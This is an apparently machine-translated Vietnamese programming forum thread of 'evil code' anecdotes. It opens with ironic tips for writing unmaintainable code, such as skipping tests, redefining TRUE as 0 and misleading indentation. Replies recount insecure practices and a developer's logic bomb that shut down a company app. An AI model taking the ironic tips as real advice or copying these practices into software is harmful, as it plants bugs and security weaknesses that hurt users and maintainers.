Tôi sẽ cho bạn biết một bí mật mã hóa ít được biết đến. Ngoại lệ là một nỗi đau ở phía sau. Mã được viết đúng cách không bao giờ bị lỗi, vì vậy các ngoại lệ thực sự không cần thiết. Đừng lãng phí thời gian cho chúng. Các ngoại lệ của lớp con dành cho những người không đủ năng lực biết mã của họ sẽ bị lỗi. Bạn có thể đơn giản hóa chương trình của mình bằng cách chỉ có một lần thử / bắt duy nhất trong toàn bộ ứng dụng (trong chính) gọi System.exit (). Chỉ cần dán một tập hợp ném tiêu chuẩn hoàn hảo trên mọi tiêu đề phương thức cho dù chúng thực sự có thể ném bất kỳ ngoại lệ nào hay không.

Vị trí ma trận ma thuật

Sử dụng các giá trị đặc biệt ở các vị trí ma trận nhất định làm cờ. Một lựa chọn tốt là phần tử [3] [0] trong ma trận biến đổi được sử dụng với hệ tọa độ thuần nhất.

Đã xem lại các khe Magic Array

Nếu bạn cần một số biến thuộc một kiểu nhất định, chỉ cần xác định một mảng của chúng, sau đó truy cập chúng theo số. Chọn một quy ước đánh số mà chỉ bạn biết và không ghi lại nó. Và đừng bận tâm đến việc xác định các hằng số #define cho các chỉ mục. Mọi người nên biết rằng widget biến toàn cục [15] là nút hủy. Đây chỉ là một biến thể cập nhật về việc sử dụng địa chỉ số tuyệt đối trong mã trình hợp dịch.

Không bao giờ làm đẹp

Không bao giờ sử dụng trình chỉnh sửa mã nguồn tự động (trình làm đẹp) để giữ cho mã của bạn được căn chỉnh. Lobby để họ cấm họ khỏi công ty của bạn với lý do họ tạo delta sai trong PVCS / CVS (theo dõi kiểm soát phiên bản) hoặc mọi lập trình viên nên có kiểu thụt lề của riêng mình được giữ vĩnh viễn bất khả xâm phạm cho bất kỳ mô-đun nào anh ta đã viết. Nhấn mạnh rằng các lập trình viên khác tuân theo các quy ước mang phong cách riêng đó trong các mô-đun của "anh ta". Việc cấm các trình làm đẹp khá dễ dàng, ngay cả khi chúng tiết kiệm được hàng triệu lần nhấn phím thực hiện căn chỉnh thủ công và lãng phí ngày để hiểu sai mã được căn chỉnh kém. Chỉ cần nhấn mạnh rằng tất cả mọi người đều sử dụng cùng một định dạng ngăn nắp, không chỉ để lưu trữ trong kho lưu trữ chung mà còn trong khi họ đang chỉnh sửa. Điều này bắt đầu một RWAR và ông chủ, để giữ hòa bình, sẽ cấm thu dọn tự động. Không cần tự động thu dọn, bây giờ bạn có thể vô tình điều chỉnh sai mã để tạo ra ảo giác quang học rằng các phần của vòng lặp và ifs dài hơn hoặc ngắn hơn thực tế, hoặc các mệnh đề khác khớp với if khác so với thực tế. ví dụ

if(a)
  if(b) x=y;
else x=z;

Thử nghiệm dành cho những kẻ hèn nhát

Một coder dũng cảm sẽ bỏ qua bước đó. Có quá nhiều lập trình viên sợ sếp, sợ mất việc, sợ thư ghét của khách hàng và sợ bị kiện. Nỗi sợ hãi này làm tê liệt hành động và giảm năng suất. Các nghiên cứu đã chỉ ra rằng việc loại bỏ giai đoạn thử nghiệm có nghĩa là các nhà quản lý có thể đặt trước ngày tàu, một sự hỗ trợ hiển nhiên trong quá trình lập kế hoạch. Khi không còn sợ hãi, sự đổi mới và thử nghiệm có thể nở rộ. Vai trò của lập trình viên là sản xuất mã và việc gỡ lỗi có thể được thực hiện bằng nỗ lực hợp tác của bộ phận trợ giúp và nhóm bảo trì kế thừa.

Nếu chúng ta hoàn toàn tin tưởng vào khả năng viết mã của mình, thì việc kiểm tra sẽ không cần thiết. Nếu chúng ta nhìn vào điều này một cách logic, thì bất kỳ kẻ ngốc nào cũng có thể nhận ra rằng thử nghiệm thậm chí không cố gắng giải quyết một vấn đề kỹ thuật, đúng hơn, đây là một vấn đề của sự tự tin về cảm xúc. Một giải pháp hiệu quả hơn cho vấn đề thiếu tự tin này là loại bỏ hoàn toàn việc kiểm tra và gửi các lập trình viên của chúng tôi đến các khóa học về lòng tự trọng. Rốt cuộc, nếu chúng tôi chọn làm thử nghiệm, thì chúng tôi phải kiểm tra mọi thay đổi của chương trình, nhưng chúng tôi chỉ cần gửi các lập trình viên đến một khóa học về xây dựng lòng tự trọng. Lợi ích chi phí là đáng kinh ngạc như nó là hiển nhiên.

Đảo ngược quy ước Thông thường Đúng Sai

Đảo ngược các định nghĩa thông thường về true và false. Nghe có vẻ rất rõ ràng nhưng nó hoạt động rất tốt. Bạn có thể ẩn:

#define TRUE 0 
#define FALSE 1

ở đâu đó sâu trong mã để nó được lấy ra khỏi ruột của chương trình từ một số tệp mà không ai còn nhìn vào nữa. Sau đó buộc chương trình thực hiện các phép so sánh như:

if ( var == TRUE )
if ( var != FALSE )

ai đó bị ràng buộc phải "sửa" phần dư thừa rõ ràng và sử dụng var ở nơi khác theo cách thông thường:

if ( var )

Một kỹ thuật khác là làm cho TRUE và FALSE có cùng giá trị, mặc dù hầu hết sẽ coi đó là gian lận. Sử dụng các giá trị 1 và 2 hoặc -1 và 0 là một cách tinh tế hơn để nâng tầm mọi người và trông vẫn đáng nể. Bạn có thể sử dụng kỹ thuật tương tự này trong Java bằng cách xác định một hằng số tĩnh được gọi là TRUE. Các lập trình viên có thể nghi ngờ bạn nhiều hơn vì có một nghĩa đen tích hợp sẵn trong Java.

Khai thác bệnh tâm thần phân liệt

Java phân liệt về khai báo mảng. Bạn có thể thực hiện chúng theo cách C cũ, cách String x [], (sử dụng ký hiệu tiền tố hỗn hợp) hoặc cách mới String [] x, sử dụng ký hiệu tiền tố thuần túy. Nếu bạn muốn thực sự gây nhầm lẫn cho mọi người, hãy kết hợp các ký hiệu, ví dụ.

byte[ ] rowvector, colvector , matrix[ ];

tương đương với:

byte[ ] rowvector; 
byte[ ] colvector; 
byte[ ][] matrix;

lol họ là ác :) - yêu thích của tôi là quote khai mạc trong bài luận rằng - "Không bao giờ gán cho ác ý, mà có thể được giải thích bằng bất tài"
Anurag

19

Tôi không biết liệu tôi có gọi mã là "ác" hay không, nhưng chúng tôi đã có một nhà phát triển, người sẽ tạo Object[]mảng thay vì viết lớp. Mọi nơi.


40
Tôi thực sự đã đọc một cuốn sách PHP nói rằng điều này là ổn. Chà, dù sao thì tôi cũng đã đọc nó cho đến thời điểm đó.
Bill the Lizard,

4
@ Bill: Nó không phải như tôi bỏ qua thực tế này nhưng PHP được yếu gõ, điều này chắc chắn là có thể chấp nhận hơn đó là, ví dụ, trong C #
Tamas Czinege

Tôi không hiểu ... làm thế nào có thể hoàn thành bất cứ điều gì theo cách đó?
hhafez

@hhafez: Đối tượng PHP cho phép bạn thiết lập bất kỳ thành viên đối tượng nào theo ý muốn.
Bill Karwin

Có lẽ anh chàng là một đứa trẻ tập lệnh PHP buộc phải viết mã C #.
chakrit

18

Tôi đã thấy (và được đăng lên thedailywtf) mã sẽ cung cấp cho mọi người quyền quản trị viên trong một phần quan trọng của ứng dụng vào các ngày Thứ Ba. Tôi đoán nhà phát triển ban đầu đã quên xóa mã sau khi kiểm tra máy cục bộ.


16

Tôi không biết liệu điều này có "xấu xa" đến mức gây hiểu lầm (gần đây tôi đã đăng nó trên The Old New Thing):

Tôi biết một anh chàng thích lưu trữ thông tin dưới dạng các chuỗi phân cách. Anh ta đã quen với khái niệm mảng, như được minh họa khi anh ta sử dụng các mảng dây được phân định, nhưng bóng đèn không bao giờ sáng.


15

Mã hóa cơ sở 36 để lưu trữ int trong chuỗi.

Tôi đoán lý thuyết phần nào đi theo dòng của:

  • Hệ thập lục phân được sử dụng để biểu thị số
  • Hệ thập lục phân không sử dụng các chữ cái ngoài F, nghĩa là GZ bị lãng phí
  • Lãng phí là xấu

Tại thời điểm này, tôi đang làm việc với cơ sở dữ liệu đang lưu trữ các ngày trong tuần mà sự kiện có thể xảy ra dưới dạng trường bit 7-bit (0-127), được lưu trữ trong cơ sở dữ liệu dưới dạng chuỗi 2 ký tự từ '0' thành '3J'.


Về mặt kỹ thuật, biểu diễn của một int có thể là một chuỗi 256 cơ sở và chúng sẽ có cùng giá trị thực tế.
solinent

1
điều gì sẽ xảy ra nếu đó là một chuỗi cơ sở 256 được kết thúc bằng null?
geofftnz

3
Có vẻ như ai đó nhớ Giao thức hình ảnh từ xa từ 20 năm trước. Nhớ modem quay số và BBS? Vâng, ANSI đã cai trị họ trong một thời gian dài. Nhưng ANSI chỉ là văn bản. Vì vậy, ai đó đã nghĩ ra một cách làm đồ họa: do đó là Giao thức Hình ảnh Từ xa. Một nếu quirks của nó là số nguyên lớn được mã hóa trong cơ sở 36.: - /
staticsan

2
Không quá tệ nếu bạn đang vượt qua một giới hạn của kênh liên lạc, nhưng trong cơ sở dữ liệu?
geofftnz

4
Một vài công việc trước đây, chúng tôi đã sử dụng cơ sở 36 để mã hóa các số an sinh xã hội (9 chữ số) thành một chuỗi 6 chữ số để nó có thể được kết hợp với chữ số của một năm và chữ số phiên bản và do đó phù hợp với tên tệp kiểu DOS 8.3. Quý tộc!
Jesse C. Slicer

14

Tôi nhớ mình đã nhìn thấy một trình xử lý đăng nhập nhận yêu cầu đăng bài và chuyển hướng đến GET với tên người dùng và mật khẩu được chuyển vào dưới dạng tham số. Đây là hệ thống y tế "hạng doanh nghiệp".

Tôi nhận thấy điều này khi kiểm tra một số nhật ký - Tôi rất muốn gửi cho CEO của mình mật khẩu của anh ấy.


2
+1 cho quá trình hành động được cân nhắc của bạn. = P
Chris Cooper

Tôi đã thấy điều này cách đây vài tháng trên ứng dụng mà tôi đang chăm sóc. Tất nhiên, ứng dụng tương tự cũng không lưu trữ mật khẩu được mã hóa, điều mà doanh nghiệp thấy hữu ích vì họ có thể cho khách hàng biết mật khẩu của mình khi họ quên. Nhiều khách hàng của chúng tôi không hiểu biết về máy tính. Ứng dụng kể từ đó đã được nâng cấp để không làm điều đó, nhưng mật khẩu vẫn được lưu trữ rõ ràng. Đó là một thách thức cho một ngày khác ...
staticsan

12

Thực sự ác là đoạn mã delphi tuyệt vời này:

type
  TMyClass = class
  private
    FField : Integer;
  public
    procedure DoSomething;
  end;

var
  myclass : TMyClass;


procedure TMyClass.DoSomething;
begin
  myclass.FField := xxx; // 
end;

Nó hoạt động tốt nếu chỉ có một phiên bản của một lớp. Nhưng thật không may, tôi đã phải sử dụng một phiên bản khác và điều đó tạo ra rất nhiều lỗi thú vị.

Khi tôi tìm thấy viên ngọc này, tôi không thể nhớ là mình đã ngất xỉu hay la hét, có lẽ là cả hai.


2
+1: Cái gì? Bạn có thể cần giải thích điều đó làm gì ... nghĩa là, Nếu bạn biết.
Kent Fredric

11
đó là một hàm thành viên, thay vì thay đổi trạng thái của đối tượng mà bạn gọi nó (như bất kỳ ai lành mạnh mong đợi), nó thay đổi trạng thái của một đối tượng toàn cục. Vì vậy, nếu bạn gọi nó trên một đối tượng khác, nó sẽ không làm những gì bạn mong đợi.
user9876

3
+1, tôi đã phải đọc nó nhiều lần trước khi nhận ra điều gì sai với nó - đó là lý do tại sao nó rất ác!
Edmund

Có vẻ như ai đó đang cố triển khai một singleton ... tệ hại.
Jesse C. Slicer

12

Có thể không phải là xấu xa, nhưng chắc chắn đúng hơn, ừm ... sai lầm.

Tôi đã từng phải viết lại một "trình phân tích cú pháp ngôn ngữ tự nhiên" được triển khai dưới dạng một câu lệnh if ... then 5.000 dòng duy nhất.

như trong ...

if (text == "hello" || text == "hi")
    response = "hello";
else if (text == "goodbye")
    response = "bye";
else
    ...

11

Tôi đã thấy mã trong trang ASP.NET MVC từ một anh chàng trước đây chỉ thực hiện các biểu mẫu web (và là một copy / paster nổi tiếng!) Đã dán sự kiện nhấp chuột phía máy khách vào một <a>thẻ gọi là phương thức javascript đã thực hiện một tài liệu. vị trí.

Tôi đã cố gắng giải thích rằng một hreftrên <a>thẻ cũng sẽ làm như vậy !!!


1
Điều đó đúng, nhưng cũng có trường hợp điều này có thể có giá trị. Có những trường hợp tăng cường tiến bộ / suy thoái duyên dáng đang chơi trên các mặt hàng trong (ví dụ như các liên kết sẽ chỉ thay đổi nếu JS được bật)
alirobe

2
Những người thiết kế trang web chỉ bằng cách kéo và thả vào các biểu mẫu web là cặn bã.
Earlz

10

Hơi ác ... một người mà tôi biết đã viết vào ứng dụng web nội bộ chính của công ty, một cuộc kiểm tra hàng ngày để xem anh ta có đăng nhập vào hệ thống trong 10 ngày qua hay không. Nếu không có hồ sơ nào về việc anh ấy đăng nhập, nó sẽ vô hiệu hóa ứng dụng cho mọi người trong công ty.

Anh ấy đã viết tác phẩm này khi nghe tin đồn về việc sa thải nhân viên, và nếu anh ấy đi xuống, công ty sẽ phải gánh chịu hậu quả.

Lý do duy nhất tôi biết về nó, là anh ấy đã đi nghỉ 2 tuần và tôi đã gọi cho anh ấy khi trang web hết hàng. Anh ấy bảo tôi đăng nhập bằng tên người dùng / mật khẩu của anh ấy ... và tất cả đều ổn trở lại.

Tất nhiên..tháng sau tất cả chúng tôi đều bị cho nghỉ việc.


8

Đồng nghiệp của tôi muốn nhớ lại ứng dụng ASP.NET đã sử dụng public statickết nối cơ sở dữ liệu cho tất cả công việc cơ sở dữ liệu.

Có, một kết nối cho tất cả các yêu cầu. Và không, không có khóa nào được thực hiện.


2
Tôi cho rằng logic "xoắn" là không cần khóa nếu chỉ có một kết nối!
Jim Birchall

1
Tôi khá chắc chắn rằng tôi đã làm điều này khi tôi 16 tuổi hoặc hơn và học ASP.NET trong hai ngày.
Josh Lee

6

Tôi nhớ phải thiết lập IIS 3 để chạy các tập lệnh Perl CGI (vâng, đó là một thời gian dài trước đây). Khuyến nghị chính thức vào thời điểm đó là đặt Perl.exe trong cgi-bin. Nó hoạt động, nhưng nó cũng cung cấp cho mọi người quyền truy cập vào một công cụ viết kịch bản khá mạnh mẽ!


ôi m! Có lẽ vẫn còn các trang web trên internet với perl.exe chỉ treo ở đó.
jsbueno


5

Truy vấn SQL ngay tại đó bằng javascript trong một ứng dụng ASP. Không thể nào bẩn hơn ...


5

Chúng tôi đã có một ứng dụng tải tất cả trạng thái chung của nó trong một tệp xml. Không có vấn đề gì với điều đó, ngoại trừ việc nhà phát triển đã tạo một dạng đệ quy mới.

<settings>
  <property>
      <name>...</name>
      <value>...</value>
      <property>
          <name>...</name>
          <value>...</value>
          <property>
              <name>...</name>
              <value>...</value>
              <property>
                   <name>...</name>
                   <value>...</value>
                   <property>
                        <name>...</name>
                        <value>...</value>
                       <property>
                             <name>...</name>
                             <value>...</value>
                            <property>

Sau đó đến phần vui nhộn. Khi ứng dụng tải, nó chạy qua danh sách các thuộc tính và thêm chúng vào danh sách chung (phẳng), cùng với việc tăng bộ đếm bí ẩn. Bộ đếm bí ẩn được đặt tên là một thứ hoàn toàn không liên quan và được sử dụng trong các phép tính bí ẩn:

List properties = new List();
Node<-root
while node.hasNode("property")
    add to properties list
    my_global_variable++;
    if hasNode("property")
         node=getNode("property"), ... etc etc

Và sau đó bạn nhận được các chức năng như

calculateSumOfCombinations(int x, int y){
   return x+y+my_global_variable;
}

sửa: làm rõ - Làm tôi mất nhiều thời gian để biết rằng anh ấy đang đếm độ sâu của đệ quy, vì ở cấp 6 hoặc 7 thuộc tính thay đổi ý nghĩa, vì vậy anh ấy đã sử dụng bộ đếm để chia bộ phẳng của mình thành 2 bộ khác nhau , giống như có một danh sách STATE, STATE, STATE, CITY, CITY, CITY và kiểm tra xem chỉ mục> bộ đếm để xem tên của bạn là thành phố hay tiểu bang)


4

Thay vì viết một dịch vụ Windows cho một quy trình máy chủ cần chạy liên tục, một trong những "kiến trúc sư" của chúng tôi đã viết một ứng dụng bảng điều khiển và sử dụng bộ lập lịch tác vụ để chạy nó sau mỗi 60 giây.

Hãy nhớ rằng điều này là trong .NET, nơi các dịch vụ rất dễ tạo.

-

Ngoài ra, tại cùng một vị trí, một ứng dụng bảng điều khiển đã được sử dụng để lưu trữ dịch vụ xóa .NET, vì vậy họ phải khởi động ứng dụng bảng điều khiển và khóa một phiên để giữ cho nó chạy mỗi khi máy chủ được khởi động lại.

-

Tại nơi cuối cùng tôi đã làm việc một trong những kiến trúc sư đã có một đơn C # mã nguồn tập tin với hơn 100 lớp học đó là một cái gì đó giống như 250K trong kích thước.


Viết một chương trình và sử dụng bộ lập lịch tác vụ để chạy nó là cách chính xác để xử lý vấn đề về quy trình thời gian. Không nên lạm dụng các dịch vụ Windows như một cách lập lịch cho các ứng dụng của bạn - đó là điểm của bộ lập lịch trình dịch vụ windows.
Andrew Weir

1
lol, không có thời gian xâm phạm. Dịch vụ này cần phải chạy mọi lúc, nhưng tôi đoán anh ấy nghĩ rằng cứ 60 giây là đủ.
Dana Holt

Ah tôi thấy. Điều đó có ý nghĩa ngay bây giờ
Andrew Weir

Đã chỉnh sửa để làm cho nó rõ ràng hơn. :)
Dana Holt

3

32 tệp mã nguồn với hơn 10K dòng mã mỗi tệp. Mỗi chứa một lớp. Mỗi lớp chứa một phương thức thực hiện "mọi thứ"

Đó là cơn ác mộng thực sự cho việc gỡ lỗi mã đó trước khi tôi phải cấu trúc lại nó.


3

Tại nơi làm việc trước đó, chúng tôi được thừa hưởng một dự án kế thừa, một phần đã được thuê ngoài trước đó. Ứng dụng chính là Java, phần thuê ngoài là một thư viện C gốc. Một khi tôi đã xem các tệp nguồn C. Tôi đã liệt kê nội dung của thư mục. Có một số tệp nguồn có kích thước hơn 200K. Tệp C lớn nhất là 600 Kbyte .

Cảm ơn Chúa, tôi chưa bao giờ phải thực sự chạm vào chúng :-)


3

Tôi đã được cung cấp một bộ chương trình để thăng tiến trong khi các đồng nghiệp đang ở nước ngoài tại một khách hàng (cài đặt các chương trình nói trên). Một thư viện khóa xuất hiện trong mỗi chương trình và cố gắng tìm ra mã, tôi nhận ra rằng có sự khác biệt nhỏ giữa chương trình này với chương trình tiếp theo. Trong một thư viện chung.

Nhận ra điều này, tôi đã chạy so sánh văn bản của tất cả các bản sao. Trong số 16, tôi nghĩ có khoảng 9 người duy nhất. Tôi đã ném một chút phù hợp.

Ông chủ đã can thiệp và để các đồng nghiệp đối chiếu một phiên bản có vẻ phổ biến. Họ đã gửi mã qua e-mail. Tôi không biết, có những chuỗi ký tự không in được trong đó và một số mã hóa hỗn hợp. Email đã cắt xén nó khá tệ.

Các ký tự không in được được sử dụng để gửi dữ liệu (tất cả các chuỗi!) Từ máy chủ đến máy khách. Do đó, tất cả các chuỗi được phân tách bằng ký tự 0x03 ở phía máy chủ và được tập hợp lại phía máy khách trong C # bằng cách sử dụng hàm Split.

Cách tốt nhất sẽ phải làm:

someVariable.Split(Convert.ToChar(0x03);

Cách tốt hơn và thân thiện sẽ là sử dụng một hằng số:

private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);

Cách EVIL là những gì các đồng nghiệp của tôi đã chọn: sử dụng bất kỳ "bản in" nào cho 0x03 trong Visual Studio và đặt nó giữa các dấu ngoặc kép:

someVariable.Split('/*unprintable character*/');

Hơn nữa, trong thư viện này (và tất cả các chương trình liên quan), không có một biến nào là cục bộ (tôi đã kiểm tra!). Các chức năng được thiết kế để phục hồi các biến giống nhau một khi được cho là an toàn để lãng phí chúng, hoặc để tạo ra các biến mới sẽ tồn tại trong suốt thời gian của quá trình. Tôi đã in ra một số trang và mã hóa màu cho chúng. Màu vàng có nghĩa là "toàn cầu, không bao giờ thay đổi bởi chức năng khác", Màu đỏ có nghĩa là "toàn cầu, được thay đổi bởi một số". Màu xanh lá cây lẽ ra là "địa phương", nhưng không có.

Ồ, tôi đã đề cập đến phiên bản điều khiển? Vì tất nhiên là không có.

THÊM BẬT: Tôi vừa nhớ ra một chức năng mà tôi đã phát hiện ra cách đây không lâu.

Mục đích của nó là đi qua một mảng các mảng xen kẽ và đặt mỗi mục đầu tiên và cuối cùng thành 0. Nó diễn ra như thế này (không phải mã thực tế, từ bộ nhớ, và nhiều hơn nữa C # -esque):

FixAllArrays()
{
    for (int idx = 0; idx < arrays.count- 1; idx++)
    {
        currArray = arrays[idx];
        nextArray = arrays[idx+1];
        SetFirstToZero(currArray);
        SetLastToZero(nextArray);

        //This is where the fun starts
        if (idx == 0)
        {
            SetLastToZero(currArray);
        }

        if (idx == arrays.count- 1)
        {
            SetFirstToZero(nextArray);
        }
    }
}

Tất nhiên, điểm mấu chốt là mọi mảng con phải hoàn thành việc này, cả hai phép toán, trên tất cả các mục. Tôi chỉ không chắc làm thế nào một lập trình viên có thể quyết định một thứ như thế này.


2

Tương tự như những gì người khác đã đề cập ở trên:

Tôi đã làm việc ở một nơi có ngôn ngữ kịch bản giả trong ứng dụng. Nó được đưa vào một phương thức khổng lồ có khoảng 30 tham số và một Select Casecâu lệnh khổng lồ .

Đã đến lúc phải thêm nhiều thông số, nhưng anh chàng trong đội phải làm điều đó nhận ra rằng đã có quá nhiều.

Giải pháp của anh ấy?

Anh ấy đã thêm một objecttham số duy nhất vào cuối, vì vậy anh ấy có thể chuyển bất cứ thứ gì anh ấy muốn và sau đó truyền nó.

Tôi không thể ra khỏi nơi đó đủ nhanh.


Tôi đã viết một cái gì đó tương tự trong Flash để viết kịch bản cho một hệ điều hành nhỏ, hệ điều hành này xử lý một mảng các chuỗi lệnh. Tất cả các chuỗi lệnh đều tuân theo cùng một định dạng cơ bản "cmd_name: param1 | param2 | param3 | etc.", Vì vậy các chuỗi đều được xử lý bởi một hàm duy nhất với một câu lệnh switch cho tên lệnh với khoảng 15 nhãn trường hợp. Nó đơn giản và dễ bảo trì, nhưng bản thân phương thức chỉ có một vài tham số, không phải ba mươi. Dù sao đi nữa, tôi cũng sẽ chạy sau khi thấy một người nào đó gắn vào một đối tượng sau khi đã có 30 tham số. Thật điên rồ.
Triynko

2

Sau khi nhóm khách hàng của chúng tôi báo cáo một số vấn đề kỳ lạ, chúng tôi nhận thấy rằng hai phiên bản khác nhau của ứng dụng đang trỏ đến cùng một cơ sở dữ liệu. (trong khi triển khai hệ thống mới cho họ, cơ sở dữ liệu của họ đã được nâng cấp, nhưng mọi người đã quên gỡ bỏ hệ thống cũ của họ)

Đây là một cuộc trốn thoát kỳ diệu ..

Và kể từ đó, chúng tôi có một quy trình xây dựng và triển khai tự động, rất may :-)


2

Tôi nghĩ rằng đó là một chương trình tải một vòng lặp vào các thanh ghi mục đích chung của pdp-10 và sau đó thực thi mã trong các thanh ghi đó.

Bạn có thể làm điều đó trên pdp-10. Điều đó không có nghĩa là bạn nên làm như vậy.

CHỈNH SỬA: ít nhất đây là hồi ức tốt nhất (đôi khi khá tồi tệ) của tôi.


2

Tôi đã gặp bất hạnh sâu sắc khi tham gia vào việc tìm ra một hành vi khá điên rồ trong một giải pháp khả dụng cao cơ sở dữ liệu bán tùy chỉnh.

Các bit lõi không đáng kể. Red Hat Enterprise Linux, MySQL, DRBD và các công cụ Linux-HA. Tuy nhiên, cấu hình được duy trì bởi một hệ thống giống con rối hoàn toàn tùy chỉnh (không ngạc nhiên khi có nhiều ví dụ khác về sự điên rồ do hệ thống này).

Hóa ra là hệ thống đang kiểm tra install.logtệp mà Kickstart để lại trong thư mục gốc để tìm một phần thông tin cần thiết để tạo cấu hình DRBD. Tất nhiên, điều này tự nó là xấu xa. Bạn không kéo cấu hình từ tệp nhật ký có định dạng không thực sự được xác định. Tuy nhiên, nó trở nên tồi tệ hơn.

Nó không lưu trữ dữ liệu này ở bất kỳ nơi nào khác và mỗi lần nó chạy, cứ sau 60 giây, nó sẽ tham khảo ý kiến install.log.

Tôi sẽ chỉ cho bạn đoán điều gì đã xảy ra lần đầu tiên ai đó quyết định xóa tệp nhật ký vô dụng này.

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.